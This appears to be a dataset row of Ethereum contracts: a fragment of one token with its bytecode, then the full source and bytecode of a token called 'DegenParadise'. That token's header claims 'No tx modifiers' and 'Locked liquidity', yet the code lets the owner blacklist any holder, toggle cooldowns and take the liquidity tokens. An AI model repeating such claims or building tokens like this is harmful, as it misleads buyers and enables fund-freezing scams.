function batchTransfer(address[] _recipients, uint256[] _values) public onlyAdmin returns (bool) {
require(_recipients.length > 0 && _recipients.length == _values.length);
uint256 total = 0;
for (uint256 i = 0; i < _values.length; i++) {
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(total);
for (uint256 j = 0; j < _recipients.length; j++) {
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
Transfer(msg.sender, _recipients[j], _values[j]);
}
return true;
}
}
|
0x6060604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610137578063095ea7b3146101c157806318160ddd146101f757806323b872dd1461021c578063313ce567146102445780633bc273b01461026d5780633f4ba83a146102c057806342966c68146102d35780635c975abb146102e957806366188463146102fc57806370a082311461031e5780638456cb591461033d57806388d695b2146103505780638da5cb5b146103df5780638f2839701461040e578063902d55a51461042d57806395d89b4114610440578063a9059cbb14610453578063b627cf3b14610475578063d73dd62314610488578063dd62ed3e146104aa578063f2fde38b146104cf578063f851a440146104ee575b600080fd5b341561014257600080fd5b61014a610501565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018657808201518382015260200161016e565b50505050905090810190601f1680156101b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101cc57600080fd5b6101e3600160a060020a0360043516602435610538565b604051901515815260200160405180910390f35b341561020257600080fd5b61020a610563565b60405190815260200160405180910390f35b341561022757600080fd5b6101e3600160a060020a036004358116906024351660443561056a565b341561024f57600080fd5b610257610597565b60405160ff909116815260200160405180910390f35b341561027857600080fd5b6102be60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061059c95505050505050565b005b34156102cb57600080fd5b6102be6105e9565b34156102de57600080fd5b6102be600435610668565b34156102f457600080fd5b6101e3610788565b341561030757600080fd5b6101e3600160a060020a0360043516602435610798565b341561032957600080fd5b61020a600160a060020a03600435166107bc565b341561034857600080fd5b6102be6107d7565b341561035b57600080fd5b6101e360046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061085b95505050505050565b34156103ea57600080fd5b6103f2610a70565b604051600160a060020a03909116815260200160405180910390f35b341561041957600080fd5b6102be600160a060020a0360043516610a7f565b341561043857600080fd5b61020a610ade565b341561044b57600080fd5b61014a610aee565b341561045e57600080fd5b6101e3600160a060020a0360043516602435610b25565b341561048057600080fd5b61014a610b49565b341561049357600080fd5b6101e3600160a060020a0360043516602435610be7565b34156104b557600080fd5b61020a600160a060020a0360043581169060243516610c0b565b34156104da57600080fd5b6102be600160a060020a0360043516610c36565b34156104f957600080fd5b6103f2610cd1565b60408051908101604052600b81527f455448455243546f6b656e000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561055257600080fd5b61055c8383610ce0565b9392505050565b6001545b90565b60035460009060a060020a900460ff161561058457600080fd5b61058f848484610d4c565b949350505050565b601281565b60035433600160a060020a03908116911614806105c7575060055433600160a060020a039081169116145b15156105d257600080fd5b60048180516105e5929160200190611179565b5050565b60035433600160a060020a0390811691161461060457600080fd5b60035460a060020a900460ff16151561061c57600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009033600160a060020a0390811691161480610696575060055433600160a060020a039081169116145b15156106a157600080fd5b600160a060020a0333166000908152602081905260409020548211156106c657600080fd5b5033600160a060020a0381166000908152602081905260409020546106eb9083610eba565b600160a060020a038216600090815260208190526040902055600154610717908363ffffffff610eba16565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a0382166000805160206112128339815191528460405190815260200160405180910390a35050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156107b257600080fd5b61055c8383610ecc565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a039081169116146107f257600080fd5b60035460a060020a900460ff161561080957600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60035460009081908190819033600160a060020a039081169116148061088f575060055433600160a060020a039081169116145b151561089a57600080fd5b600086511180156108ac575084518651145b15156108b757600080fd5b60009250600091505b84518210156108fc576108ef8583815181106108d857fe5b90602001906020020151849063ffffffff610fc616565b92506001909101906108c0565b600160a060020a03331660009081526020819052604090205483111561092157600080fd5b600160a060020a03331660009081526020819052604090205461094a908463ffffffff610eba16565b600160a060020a03331660009081526020819052604081209190915590505b8551811015610a64576109ca85828151811061098157fe5b9060200190602002015160008089858151811061099a57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff610fc616565b6000808884815181106109d957fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055858181518110610a0957fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611212833981519152878481518110610a4157fe5b9060200190602002015160405190815260200160405180910390a3600101610969565b50600195945050505050565b600354600160a060020a031681565b60035433600160a060020a03908116911614610a9a57600080fd5b600160a060020a0381161515610aaf57600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6b033b2e3c9fd0803ce800000081565b60408051908101604052600381527f4545540000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff1615610b3f57600080fd5b61055c8383610fd5565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bdf5780601f10610bb457610100808354040283529160200191610bdf565b820191906000526020600020905b815481529060010190602001808311610bc257829003601f168201915b505050505081565b60035460009060a060020a900460ff1615610c0157600080fd5b61055c83836110d5565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610c5157600080fd5b600160a060020a0381161515610c6657600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610d6357600080fd5b600160a060020a038416600090815260208190526040902054821115610d8857600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610dbb57600080fd5b600160a060020a038416600090815260208190526040902054610de4908363ffffffff610eba16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610e19908363ffffffff610fc616565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610e5f908363ffffffff610eba16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206112128339815191529085905190815260200160405180910390a35060019392505050565b600082821115610ec657fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610f2957600160a060020a033381166000908152600260209081526040808320938816835292905290812055610f60565b610f39818463ffffffff610eba16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b60008282018381101561055c57fe5b6000600160a060020a0383161515610fec57600080fd5b600160a060020a03331660009081526020819052604090205482111561101157600080fd5b600160a060020a03331660009081526020819052604090205461103a908363ffffffff610eba16565b600160a060020a03338116600090815260208190526040808220939093559085168152205461106f908363ffffffff610fc616565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03166000805160206112128339815191528460405190815260200160405180910390a350600192915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461110d908363ffffffff610fc616565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106111ba57805160ff19168380011785556111e7565b828001600101855582156111e7579182015b828111156111e75782518255916020019190600101906111cc565b506111f39291506111f7565b5090565b61056791905b808211156111f357600081556001016111fd5600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582014b8259e950ddfefe5e77cd94b70bd2afaf1c86bccfa19d1151b371503928ef50029
|
{"success": true, "error": null, "results": {}}
| 4,301 |
0xB9D131C53Fb82B1acD34936667FC808E0118e496
|
/*
deploy > send eth > open trading > blacklist bot if any > liftmaxtX > renounce
// No dev-wallets
// Locked liquidity
// Renounced ownership!
// No tx modifiers
// Community-Driven
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Paradise is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "DegenParadise || https://t.me/DegenParadise";
string private constant _symbol = "$Paradise";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1,address payable _add2,address payable _add3) {
_feeAddrWallet1 = _add1;
_feeAddrWallet2 = _add2;
_feeAddrWallet3 =_add3;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 3;
_feeAddr2 = 12;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 150000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/10*3);
_feeAddrWallet2.transfer(amount/10*3);
_feeAddrWallet3.transfer(amount/10*3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal/100*3;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklist(address _address) external onlyOwner{
bots[_address] = true;
}
function removeBlacklist(address notbot) external onlyOwner{
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102b1578063c9567bf9146102c6578063dd62ed3e146102db578063eb91e65114610321578063f9f92be41461034157600080fd5b8063715018a6146102225780638da5cb5b1461023757806395d89b411461025f578063a9059cbb1461029157600080fd5b8063313ce567116100d1578063313ce567146101af5780635932ead1146101cb5780636fc3eaec146101ed57806370a082311461020257600080fd5b806306fdde031461010e578063095ea7b31461013957806318160ddd1461016957806323b872dd1461018f57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50610123610361565b604051610130919061165c565b60405180910390f35b34801561014557600080fd5b506101596101543660046115cc565b610381565b6040519015158152602001610130565b34801561017557600080fd5b50683635c9adc5dea000005b604051908152602001610130565b34801561019b57600080fd5b506101596101aa36600461158c565b610398565b3480156101bb57600080fd5b5060405160098152602001610130565b3480156101d757600080fd5b506101eb6101e63660046115f7565b610401565b005b3480156101f957600080fd5b506101eb610452565b34801561020e57600080fd5b5061018161021d36600461151c565b61047f565b34801561022e57600080fd5b506101eb6104a1565b34801561024357600080fd5b506000546040516001600160a01b039091168152602001610130565b34801561026b57600080fd5b5060408051808201909152600981526824506172616469736560b81b6020820152610123565b34801561029d57600080fd5b506101596102ac3660046115cc565b610515565b3480156102bd57600080fd5b506101eb610522565b3480156102d257600080fd5b506101eb610558565b3480156102e757600080fd5b506101816102f6366004611554565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561032d57600080fd5b506101eb61033c36600461151c565b610944565b34801561034d57600080fd5b506101eb61035c36600461151c565b61098f565b60606040518060600160405280602b8152602001611824602b9139905090565b600061038e3384846109dd565b5060015b92915050565b60006103a5848484610b01565b6103f784336103f2856040518060600160405280602881526020016117fc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d69565b6109dd565b5060019392505050565b6000546001600160a01b031633146104345760405162461bcd60e51b815260040161042b906116af565b60405180910390fd5b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461047257600080fd5b4761047c81610da3565b50565b6001600160a01b03811660009081526002602052604081205461039290610e8c565b6000546001600160a01b031633146104cb5760405162461bcd60e51b815260040161042b906116af565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061038e338484610b01565b600c546001600160a01b0316336001600160a01b03161461054257600080fd5b600061054d3061047f565b905061047c81610f10565b6000546001600160a01b031633146105825760405162461bcd60e51b815260040161042b906116af565b601054600160a01b900460ff16156105dc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042b565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106193082683635c9adc5dea000006109dd565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561065257600080fd5b505afa158015610666573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068a9190611538565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a9190611538565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561075257600080fd5b505af1158015610766573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078a9190611538565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306107ba8161047f565b6000806107cf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561083257600080fd5b505af1158015610846573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061086b919061162f565b50506010805461ffff60b01b191661010160b01b179055506108976064683635c9adc5dea0000061176c565b6108a290600361178c565b60115560108054600160a01b60ff60a01b19821617909155600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109409190611613565b5050565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161042b906116af565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146109b95760405162461bcd60e51b815260040161042b906116af565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042b565b6001600160a01b038216610aa05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b655760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042b565b6001600160a01b038216610bc75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042b565b60008111610c295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042b565b6001600160a01b03831660009081526006602052604090205460ff1615610c4f57600080fd5b6001600160a01b0383163014610d59576003600a55600c600b556010546001600160a01b038481169116148015610c945750600f546001600160a01b03838116911614155b8015610cb957506001600160a01b03821660009081526005602052604090205460ff16155b8015610cce5750601054600160b81b900460ff165b15610ce257601154811115610ce257600080fd5b6000610ced3061047f565b601054909150600160a81b900460ff16158015610d1857506010546001600160a01b03858116911614155b8015610d2d5750601054600160b01b900460ff165b15610d5757610d3b81610f10565b47670214e8348c4f0000811115610d5557610d5547610da3565b505b505b610d648383836110b5565b505050565b60008184841115610d8d5760405162461bcd60e51b815260040161042b919061165c565b506000610d9a84866117ab565b95945050505050565b600c546001600160a01b03166108fc610dbd600a8461176c565b610dc890600361178c565b6040518115909202916000818181858888f19350505050158015610df0573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610e0b600a8461176c565b610e1690600361178c565b6040518115909202916000818181858888f19350505050158015610e3e573d6000803e3d6000fd5b50600e546001600160a01b03166108fc610e59600a8461176c565b610e6490600361178c565b6040518115909202916000818181858888f19350505050158015610940573d6000803e3d6000fd5b6000600854821115610ef35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042b565b6000610efd6110c0565b9050610f0983826110e3565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fba57600080fd5b505afa158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff29190611538565b8160018151811061101357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461103991309116846109dd565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110729085906000908690309042906004016116e4565b600060405180830381600087803b15801561108c57600080fd5b505af11580156110a0573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610d64838383611125565b60008060006110cd61121c565b90925090506110dc82826110e3565b9250505090565b6000610f0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061125e565b6000806000806000806111378761128c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061116990876112e9565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611198908661132b565b6001600160a01b0389166000908152600260205260409020556111ba8161138a565b6111c484836113d4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161120991815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061123882826110e3565b82101561125557505060085492683635c9adc5dea0000092509050565b90939092509050565b6000818361127f5760405162461bcd60e51b815260040161042b919061165c565b506000610d9a848661176c565b60008060008060008060008060006112a98a600a54600b546113f8565b92509250925060006112b96110c0565b905060008060006112cc8e87878761144d565b919e509c509a509598509396509194505050505091939550919395565b6000610f0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d69565b6000806113388385611754565b905083811015610f095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042b565b60006113946110c0565b905060006113a2838361149d565b306000908152600260205260409020549091506113bf908261132b565b30600090815260026020526040902055505050565b6008546113e190836112e9565b6008556009546113f1908261132b565b6009555050565b6000808080611412606461140c898961149d565b906110e3565b90506000611425606461140c8a8961149d565b9050600061143d826114378b866112e9565b906112e9565b9992985090965090945050505050565b600080808061145c888661149d565b9050600061146a888761149d565b90506000611478888861149d565b9050600061148a8261143786866112e9565b939b939a50919850919650505050505050565b6000826114ac57506000610392565b60006114b8838561178c565b9050826114c5858361176c565b14610f095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042b565b60006020828403121561152d578081fd5b8135610f09816117d8565b600060208284031215611549578081fd5b8151610f09816117d8565b60008060408385031215611566578081fd5b8235611571816117d8565b91506020830135611581816117d8565b809150509250929050565b6000806000606084860312156115a0578081fd5b83356115ab816117d8565b925060208401356115bb816117d8565b929592945050506040919091013590565b600080604083850312156115de578182fd5b82356115e9816117d8565b946020939093013593505050565b600060208284031215611608578081fd5b8135610f09816117ed565b600060208284031215611624578081fd5b8151610f09816117ed565b600080600060608486031215611643578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156116885785810183015185820160400152820161166c565b818111156116995783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156117335784516001600160a01b03168352938301939183019160010161170e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611767576117676117c2565b500190565b60008261178757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156117a6576117a66117c2565b500290565b6000828210156117bd576117bd6117c2565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461047c57600080fd5b801515811461047c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365446567656e5061726164697365207c7c2068747470733a2f2f742e6d652f446567656e5061726164697365a26469706673582212208a35069e9494faa7050bc64d504dfe0bc8ec56c9601bf96ae720912c33ae81f164736f6c63430008040033
|
